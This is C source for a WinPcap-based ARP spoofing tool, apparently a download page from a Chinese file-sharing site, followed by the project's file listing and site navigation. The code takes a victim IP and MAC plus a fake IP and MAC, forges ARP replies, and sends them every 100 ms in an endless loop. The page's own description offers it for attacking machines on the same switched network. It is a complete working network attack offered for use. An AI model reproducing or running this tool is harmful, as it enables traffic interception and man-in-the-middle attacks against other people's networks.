#include "arpcap.h"
#define HARDWARE_ADDR "000C296C192B"
int main(int argc,char* argv[])
{
//WinExec("arp.exe -s 192.168.1.1 08-10-17-cc-36-84",SW_SHOW);
//printf("IP:192.168.150.");
//scanf("%d",&Ip);
int i=sizeof(unsigned short);
if(argc!=5)
{
printf("usage:arp victimIP victimMac fakeIP fakeMac\n");
printf("Example:\n");
printf(" 广播:arp 255.255.255.255 FFFFFFFFFFFF 192.168.150.20 000C295FA042\n");
printf(" 单播:arp 192.168.150.21 000C295FA044 192.168.150.20 000C295FA042\n");
return 1;
}
char *dIP=(char *)malloc(sizeof(argv[1]));
dIP=argv[1];
char *dMac=(char *)malloc(sizeof(argv[2]));
dMac=argv[2];
char *sIP=(char *)malloc(sizeof(argv[3]));
sIP=argv[3];
char *sMac=(char *)malloc(sizeof(argv[4]));
sMac=argv[4];
//char cIP;
InitDevice();
InitPacket(dIP,dMac,sIP,sMac);
int size = sizeof(arp);
/*static long slp = 0;*/
printf("启动完毕...\n发送中...\n");
while (1)
{
if (pcap_sendpacket(ahandle,(unsigned char*)&arp,size) != 0)
{
printf("发送失败!\n");
}
Sleep(100);
}
system("pause");
return 1;
}
//初始化设备
void InitDevice()
{
if (pcap_findalldevs(&alldev,errbuf) == -1)
{
printf("获得设备失败!\n%s",errbuf);
exit(0);
}
int i = 0;
for(device=alldev; device; device=device->next) //打印出系统里所有的网卡
{
printf("%d. %s", ++i, device->name);
if (device->description)
printf(" (%s)\n", device->description);
else
printf(" (No description available)\n");
}
if(i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return;
}
int inum = 0;
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum); //输入一个你选择的网卡号
if(inum < 1 || inum > i)
{
printf("\nInterface number out of range.\n");
pcap_freealldevs(alldev);
return;
}
for(device=alldev, i=0; i< inum-1 ;device=device->next, i++); //从刚才输入的网卡号找到适当的网卡指针
ahandle = pcap_open_live(device->name,65535,1,1000,errbuf);
if (!ahandle)
{
printf("打开设备失败!\n%s",errbuf);
FreeDevice();
exit(0);
}
}
//结束释放
void FreeDevice()
{
pcap_freealldevs(alldev);
}
//构造数据包
void InitPacket(char *DIP,char *DMac,char *SIP,char *SMac)
{
memset(&arp,0,sizeof(arp));
//WriteHard(&arp.eth.dst_mac[0],DMac);
WriteHard(&arp.eth.src_mac[0],SMac); //WriteHard(&arp.eth.src_mac[0],HARDWARE_ADDR);
arp.eth.eth_t = htons(ETH_ARP);
arp.arp.arp_hdr = htons(ARP_HARDWARE);
arp.arp.arp_pro = htons(ETH_IP);
arp.arp.arp_hln = 6;
arp.arp.arp_pln = 4;
if(strcmp(DMac,"000000000000")==0)
{
WriteHard(&arp.eth.dst_mac[0],"FFFFFFFFFFFF");
arp.arp.arp_opt = htons(ARP_REQUEST);
}
else
{
WriteHard(&arp.eth.dst_mac[0],DMac);
arp.arp.arp_opt = htons(ARP_REPLY);
}
WriteHard(&arp.arp.arp_sha[0],SMac);
char RemoteIP[1024]={0};
//wsprintf(RemoteIP,"192.168.150.%d",Ip);
arp.arp.arp_spa = inet_addr(/*"192.168.1.92"*/SIP);
WriteHard(&arp.arp.arp_tha[0], DMac);
arp.arp.arp_tpa = inet_addr(DIP);
}
//写入MAC地址
void WriteHard(unsigned char *Hard,char* Src)
{
char hchr=0;
char lchr=0;
int j=0;
int rst;
Src = strupr(_strdup(Src));
for (int i=0;i<(int)strlen(Src);(++i)++)
{
lchr = Src[i];
hchr = Src[i+1];
lchr = Hex(lchr);
hchr = Hex(hchr);
rst = lchr * 16 + hchr;
Hard[j] = rst;
j++;
}
}
//十六进制转换
char Hex(char Src)
{
if (Src >= 'A' && Src <= 'Z')
return (Src-55);
else
return (Src-48);
}
没有合适的资源?快使用搜索试试~ 我知道了~
温馨提示
vc+winpcap开发包编写的一个arp欺骗程序,可在交换环境下对单个或者多个攻击目标进行欺骗。 A tool developped by vc and winpcap.This tool can attack other machines of same switch network by arp spoofing
资源推荐
资源详情
资源评论
收起资源包目录
arp spoofing.rar (63个子文件)
arp欺骗
arppcap.cpp 4KB
arppcap.dsw 539B
arppcap.vcproj.7.10.old 3KB
Visual Studio 2005Projects
VSMacros80
MyMacros
_UpgradeReport_Files
UpgradeReport.xslt 12KB
UpgradeReport_Plus.gif 71B
UpgradeReport.css 3KB
UpgradeReport_Minus.gif 69B
arppcap.vcproj 4KB
arppcap.ncb 11.58MB
arppcap.suo 40KB
Debug
vc80.pdb 100KB
BuildLog.htm 7KB
mt.dep 67B
arppcap.exe.intermediate.manifest 145B
arppcap.ilk 1.04MB
vc80.idb 443KB
arppcap.pdb 1.67MB
arppcap.exe.embed.manifest.res 212B
arppcap.exe 480KB
arppcap.obj 32KB
arppcap.exe.embed.manifest 146B
Visual Studio 2005Templates
ProjectTemplates
ItemTemplates
Visual Studio 2005
Settings
Backup Files
arppcap
Lib
libwpcap.a 41KB
libpacket.a 19KB
wpcap.lib 17KB
Packet.lib 8KB
Release
vc80.pdb 100KB
BuildLog.htm 7KB
mt.dep 67B
arppcap.exe.intermediate.manifest 145B
vc80.idb 139KB
arppcap.pdb 771KB
arppcap.exe 72KB
arppcap.obj 28KB
UpgradeLog.XML 3KB
arppcap.sln 878B
arpcap.h 2KB
arppcap.vcproj.VC2005.Administrator.user 1KB
arppcap.dsp 3KB
remove.bat 404B
Inc
normal_lookup.h 2KB
tme.h 6KB
sched.h 5KB
tcp_session.h 3KB
ip6_misc.h 5KB
semaphore.h 4KB
count_packets.h 2KB
Ntddndis.h 47KB
pcap-stdinc.h 2KB
Devioctl.h 4KB
Ntddpack.h 1KB
time_calls.h 10KB
pcap-bpf.h 22KB
Packet32.h 21KB
remote-ext.h 13KB
bittypes.h 4KB
memory_t.h 4KB
Gnuc.h 783B
pcap.h 11KB
Win32-Extensions.h 3KB
pcap-int.h 13KB
bucket_lookup.h 2KB
pthread.h 35KB
arppcap.sln.old 878B
共 63 条
- 1
humeng068
- 粉丝: 0
- 资源: 1
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功
- 1
- 2
- 3
前往页